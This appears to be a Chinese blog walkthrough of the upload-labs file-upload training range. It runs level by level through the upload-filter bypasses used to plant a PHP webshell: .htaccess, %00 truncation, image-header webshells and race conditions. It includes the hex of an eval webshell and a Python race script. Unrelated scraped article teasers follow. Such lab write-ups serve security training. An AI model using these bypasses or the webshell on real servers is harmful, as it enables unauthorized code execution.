upload-labs文件上传靶场实操

文章目录

  • 1.Pass-01
  • 2.Pass-02
  • 3.Pass-03
  • 4.Pass-04
  • 5.Pass-05
  • 6.Pass-06
  • 7.Pass-07
  • 8.Pass-08
  • 9.Pass-09
  • 10.Pass-10
  • 11.Pass-11
  • 12.Pass-12
  • 13.Pass-13
  • 14.Pass-14
  • 15.Pass-15
  • 16.Pass-16
  • 17.Pass-17
  • 18.Pass-18
  • 19.Pass-19
  • 20.Pass-20

在这里插入图片描述
上传姿势总结:
1)改后缀名绕过
2)Content-Type绕过
3)本地文件包含
4)远程文件包含
5)httpd.conf黑名单绕过
6)htaccess绕过
7)大小写绕过
8)空格绕过
9)点绕过
10)特殊符号::$DATA绕过
11). .绕过
12)多写绕过(多写php)
13)%00截断目录绕过
14)16进制00截断目录
15)本地文件包含+文件头绕过
16)本地文件包含+图片马绕过
17)条件竞争绕过(二次渲染)
18)条件竞争+白名单上传7z+脚本执行
19)重命名数组法绕过

1.Pass-01

改后缀名绕过
只能上传图片,先上传一个jpg格式的图片,然后抓包改格式
改成3.php,以及Content-Type
Content-Type: application/octet-stream
在这里插入图片描述

上传成功后点击图片位置右键获取链接
在这里插入图片描述

得到http://127.0.0.1:9005/upload/3.jpg
改成php格式的就是payload
http://127.0.0.1:9005/upload/3.php
在这里插入图片描述

2.Pass-02

Content-Type绕过
使用上一关的方法还是提示报错,说明存在过滤
在这里插入图片描述

这里的办法是使用重复类型Content-Type
即既然它以Content-Type为准,那么我就先给他一个正确的Content-Type,然后再改后缀为.php

发现上传成功
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

getshell成功

3.Pass-03

方法一:本地文件包含
直接上传非php文件,使用本地包含文件getshell
在这里插入图片描述在这里插入图片描述
远程文件包含注意点
1.在php.ini中需要allow_url_include = on和allow_url_fopen= on
2.所需的远程文件后缀不能与目标服务器的语言相同,如目标服务器解析PHP代码,则远程文件后缀不能为.php。
比如远程服务上有如下两个文件
在这里插入图片描述

我们发现php格式的链接不了,而txt格式的反而可以
在这里插入图片描述
在这里插入图片描述

方法二:httpd.conf黑名单绕过
黑名单规则不严谨,在某些特定环境中某些特殊后缀仍会被当作php文件解析
php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml
在这里插入图片描述

但是以上方法对nts版本的apache无效,需使用类似如下的版本
在这里插入图片描述

然后在httd.conf新增类型,再重启服务就可以解析php4了
在这里插入图片描述在这里插入图片描述

4.Pass-04

htaccess绕过
在这里插入图片描述

但是看来被过滤了
在这里插入图片描述

上传htaccesss试下
在这里插入图片描述

该文件的意思是,只要遇到文件名中包含有”backlion.jpg”字符串的任意文件,统一被当作php执行。如果这个” backlion.jpg”的内容是一句话木马,即可利用中国菜刀进行连接
前提条件是:大于等于php版本5.3.39以下
在这里插入图片描述

成功了
那么上传一个backlion.jpg的文件试下
在这里插入图片描述

上传成功,也被解析了
在这里插入图片描述

使用菜刀成功getshell

在这里插入图片描述在这里插入图片描述

5.Pass-05

大小写绕过
这关过滤了htaccess
在这里插入图片描述在这里插入图片描述

但是,只是通过大小写就上传成功了
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

6.Pass-06

空格绕过
在这里插入图片描述在这里插入图片描述

测试的时候可以这样测
3.php
3.php .jpg
3.php . .jpg
3.php . . jpg

7.Pass-07

点绕过
在这里插入图片描述在这里插入图片描述

8.Pass-08

特殊符号::$DATA绕过
在这里插入图片描述在这里插入图片描述

测试是需把::$DATA删掉
在这里插入图片描述

9.Pass-09

. .绕过
在这里插入图片描述

执行后会自动去掉最后一个点
在这里插入图片描述

然后保存时又会去掉最后1个点
结果就保存了5.php
在这里插入图片描述

10.Pass-10

多写绕过
在这里插入图片描述

会自动删掉php
在这里插入图片描述

那么我就多写绕过
在这里插入图片描述在这里插入图片描述

11.Pass-11

%00截断目录
由于目录可控,且是百名单过滤,因此使用%00截断
并新建55.php,而filename里依旧上传jpg
在这里插入图片描述
在这里插入图片描述

12.Pass-12

16进制00截断目录
这关目录还是可控
在这里插入图片描述

33.php的16进制后面加00
在这里插入图片描述
在这里插入图片描述

上传后会自动新建33.php而抛弃后面的.jpg
在这里插入图片描述

13.Pass-13

本地文件包含+文件头绕过
文件头简介,不同的图片文件都有不同文件头,如:
PNG: 文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A
JPEG: 文件头标识 (2 bytes): 0xff, 0xd8
GIF: 文件头标识 (6 bytes) GIF89a
白名单过滤,而且必须在内容里添加图片文件头,根据文件头生成图片
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

jpg需要输入16进制的ffd8

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

png文件头是16进制的8950
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

但是试想这一关如果没有文件包含漏洞的话又该怎么破呢

14.Pass-14

本地文件包含+图片马
和上一关一样,提示还是使用文件包含和图片马
GIF89a
在这里插入图片描述
在这里插入图片描述

Jpg 需在cmd使用copy命令制作图片马绕过
在这里插入图片描述
在这里插入图片描述

Png 89 50 4E 47 0D 0A 1A 0A
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

15.Pass-15

本地文件包含+图片马
源代码提示需开启php_exif
在这里插入图片描述

打开php.ini
把;extension=php_exif.dll前面的;去掉就行,然后重启服务
在这里插入图片描述

GIF:GIF89a
在这里插入图片描述

Jpg 需制作图片马
在这里插入图片描述

Png:
‰PNG

在这里插入图片描述

16.Pass-16

二次渲染+条件竞争
这关好像用到了二次渲染,因为上传后的图片马都找不到一句话木马了
针对二次渲染,需要用到一个对比工具Emeditor,找出没有改动的那块贴进一句话木马进去
首先把一句话木马复制出来
在这里插入图片描述

3C 3F 70 68 70 20 40 65 76 61 6C 28 24 5F 50 4F 53 54 5B 22 66 6E 61 6D 65 22 5D 29 3B 3F 3E 1A
然后找到没有改动的地方
在这里插入图片描述

这里我们选择下面的
在这里插入图片描述
在这里插入图片描述

保存出来再试下
在这里插入图片描述
在这里插入图片描述

Jpg和PNG的情况使用之前的方法搞不定,因为jpg是压缩编码的,据说需要使用脚本实现,而且成功率不高,而png几乎找不到没改动的,这两个单独提取出来做一个任务
解决方法是使用条件竞争实现,具体操作可参考
https://blog.csdn.net/wutiangui/article/details/131474195
Png格式
在这里插入图片描述

Jpg格式
在这里插入图片描述

17.Pass-17

条件竞争
17关也可以沿用上一关的做法,只是这里其实可以直接上传php,不需要文件包含
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

18.Pass-18

条件竞争+白名单上传7z+脚本执行
这关同样用到条件竞争,逻辑是先上传,如果是白名单里的则重命名,否则删除

import html
import requests
from threading import Thread
url="http://127.0.0.1/upload/uploadphpinfocmd.php.7z"
url2="http://127.0.0.1/upload/shell.php"
def request():global htmlglobal html_2html = requests.get(url)print(html.status_code)html_2=requests.get(url2)while True:t=Thread(target=request())t.start()if html_2.status_code==200:print("shell已生成")break

因此这里先上传一个白名单的文件*.7z
在这里插入图片描述

重复1000次,然后开启py脚本去访问这个生成的7z,去执行里面的代码
可以发现很快就跑出结果来了
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

19.Pass-19

条件竞争+白名单上传7z+脚本执行
和上关同样
先持续上传1000次,生成*.7z
在这里插入图片描述
在这里插入图片描述

然后脚本追踪这个文件
在这里插入图片描述
在这里插入图片描述

20.Pass-20

重命名数组法
最后一关7z也被白名单过滤了
在这里插入图片描述

最后的做法还是只能参考别人的,就是使用数组法增加一个不支持的,最后一个使用支持的格式
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/80279.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

flink-1.14.4启动报错setPreferCheckpointForRecovery(Z)v

从flink1.12升级到flink1.14,修改了pom.xml的flink-version,打包的时候发现报错: // 当有较新的 Savepoint 时,作业也会从 Checkpoint 处恢复env.getCheckpointConfig().setPreferCheckpointForRecovery(true); 于是屏蔽了这段配置…

微信小程序怎么隐藏顶部导航栏(navigationBar)变透明的解决方案

怎么隐藏小程序顶部导航栏(navigationBar)? 官网说:Navigation是小程序的顶部导航组件,当页面配置 navigationStyle 设置为 custom 的时候可以使用此组件替代原生导航栏。 那么,我们就知道这种效果是可以…

SpringMVC多文件上传

文章目录 一、文件上传1.1 导入pom依赖1.2 配置文件上传解析器1.3 设置文件上传表单1.4 实现文件上传 二、文件下载三、多文件上传四、JRebel的使用 一、文件上传 1.1 导入pom依赖 <commons-fileupload.version>1.3.3</commons-fileupload.version><dependency…

abortControllerMap: Map<string, AbortController>

abortControllerMap: Map&#xff1c;string, AbortController&#xff1e;AbortController 是一个用于控制和取消异步任务的接口。 在这里&#xff0c;AbortController 用作一个映射的值&#xff0c;与映射的键&#xff08;string 类型&#xff09;相关联。 AbortController 可…

redis设计规范

部分内容参考&#xff1a;阿里redis开发规范 同时&#xff0c;结合shigen在实习中的实践经验总结。 key的名称设计 可读性和管理性 业务名: 表名: id pro:user:1001简洁性 控制key的长度&#xff0c;可以用缩写 transaction -> tras拒绝bigkey 防止网卡流量、慢查询&…

React Native 环境配置(mac)

React Native 环境配置&#xff08;mac&#xff09; 1.Homebrew2.Node.js、WatchMan3.Yarn4.Android环境配置1.安装JDK2.下载AndroidStudio1.国内配置 Http Proxy2.安装SDK1.首先配置sdk的路径2.SDK 下载 3.创建模拟器4.配置 ANDROID_HOME 环境变量 5.IOS环境1.升级ruby&#x…

学校项目培训之Carla仿真平台之安装Carla

官网&#xff1a;http://carla.org/ 写在前面 由于安装都写了很多东西&#xff0c;所以我单独将安装弄出来记录一下。 如果你在安装9.12版本的时候遇到了很多问题&#xff0c;你可以考虑以下几点&#xff1a; - 楼梯可能不太行&#xff0c;需要更换&#xff0c;这是我实践得到的…

浅析Java责任链模式实现

一、概要 定义&#xff1a;责任链模式是一种行为设计模式&#xff0c; 允许你将请求沿着处理者链进行发送。收到请求后&#xff0c; 每个处理者均可对请求进行处理&#xff0c; 或将其传递给链上的下个处理者。 二、应用场景&#xff1a; 1.多条件流程判断&#xff1a;权限相关…

iOS开发之编译OpenSSL静态库

项目审查发现OpenSSL1.0.2d有漏洞&#xff0c;所以需要升级更新OpenSSL版本&#xff0c;借此机会&#xff0c;记录一下编译OpenSSL静态库的流程。 Xcode使用的是14.2&#xff0c;OpenSSL使用的是1.0.2u、1.1.1u&#xff0c;由于是对两个不同版本进行的编译操作&#xff0c;所以…

Linux服务器部署常用命令记录【持续更新】

介绍&#xff1a;最近服务器被人频繁攻击&#xff0c;留下一堆垃圾文件。重装后需要重新部署&#xff0c;才发现Linux的命令怎么这么碎。于是乎就产生了写这篇文章的想法。本文旨在记录常用的Linux部署需要使用的命令&#xff0c;另一篇关于Linux docker安装常用软件的文章&…

HTTP响应详解, HTTP请求构造及HTTPS详解

HTTP响应详解 认识 "状态码" (status code) 状态码表示访问一个页面的结果 . ( 是访问成功 , 还是失败 , 还是其他的一些情况 ...). 以下为常见的状态码 . 200 OK 这 是一个最常见的状态码, 表示访问成功 . 抓包抓到的大部分结果都是 200 例如访问搜狗…

C# byte[] 如何转换成byte*

目标:将byte[]转成byte*以方便使用memcpy [DllImport("kernel32.dll", EntryPoint "RtlCopyMemory", CharSet CharSet.Ansi)] public extern static long CopyMemory(IntPtr dest, IntPtr source, int size); private void butTemp_Click(object…

C语言实现通讯录 (附完整代码)

C语言实现通讯录 &#x1f340;实现一个通讯录&#xff1a;&#x1f340;通讯录的功能&#xff1a;&#x1f340;多文件实现&#x1f4ae;设计结构体——保存人的信息&#x1f4ae;初始通讯录&#x1f4ae;封装通讯录&#x1f4ae;define宏定义修改通讯录的最大容量初始化通讯录…

Gitlab仓库部署

Gitlab仓库部署 一、Gitlab的概述1、gitlab介绍2、gitlab主要功能3、gitlab和github的区别 二、部署环境1、安装依赖环境2、安装Postfix邮箱3、Gitlab优势4、Gitlab工作流程 三、Gitlab部署过程1、Yum安装Gitlab2、配置gitlab站点URL3、启动并访问Gitlab 四、Gitlab具体操作1、…

C++中的导入include,头文件,extern,main函数入口及相关编译流程

结论&#xff1a; 1&#xff1a;#include就是复制粘贴 2&#xff1a;C编译的时候&#xff0c;在链接之前&#xff0c;各个文件之间实际上没有联系&#xff0c;只有到了链接的阶段&#xff0c;系统才会到各个cpp文件中去找需要的文件&#xff1b; 一&#xff1a;include的作用…

详解混合类型文件(Polyglot文件)的应用生成与检测

1. 引入 混合类型文件&#xff08;Polyglot文件&#xff09;&#xff0c;是指一个文件&#xff0c;既可以是合法的A类型&#xff0c;也可以是合法的B类型。 比如参考3中的文件&#xff0c;是一个html文件&#xff0c;可以用浏览器正常打开&#xff1b;它也是一个一个.jar文件&…

OpenCV之怀旧色、冰冻滤镜、熔铸滤镜

怀旧色 源码&#xff1a; void huaijiu(Mat& src,Mat& dst) {for (int h 0;h < src.rows;h ){uchar *d1 src.ptr<uchar>(h);uchar *d2 dst.ptr<uchar>(h);for (int w 0;w < src.cols;w ){int w3 3*w;int r d1[w3 2];int g d1[w3 1];int …

民用大中型无人直升机系统飞行性能飞行试验要求

声明 本文是学习GB-T 42856-2023 民用大中型无人直升机系统飞行性能飞行试验要求. 而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 1 范围 本文件规定了民用大中型无人直升机系统飞行性能飞行试验的内容、目的、条件、实施、数据处理和 结果评定等要…

linux相关知识以及有关指令3

在linux的世界中我们首先要有万物皆文件的概念&#xff0c;那么在系统中有那么多的文件&#xff0c;我们该怎么区分呢&#xff1f;文章目录 1. 文件分类2. 文件的权限1). 拥有者和所属组以及other2). 文件的权限3). 粘滞位4). 对于权限修改的拓展知识点a.修改权限b.修改拥有者所…

【MySQL进阶】SQL性能分析

一、SQL性能分析 1.SQL执行频率 MySQL 客户端连接成功后&#xff0c;通过 show [session|global] status 命令可以提供服务器状态信 息。通过如下指令&#xff0c;可以查看当前数据库的 INSERT 、 UPDATE 、 DELETE 、 SELECT 的访问频次&#xff1a; -- session 是查看当…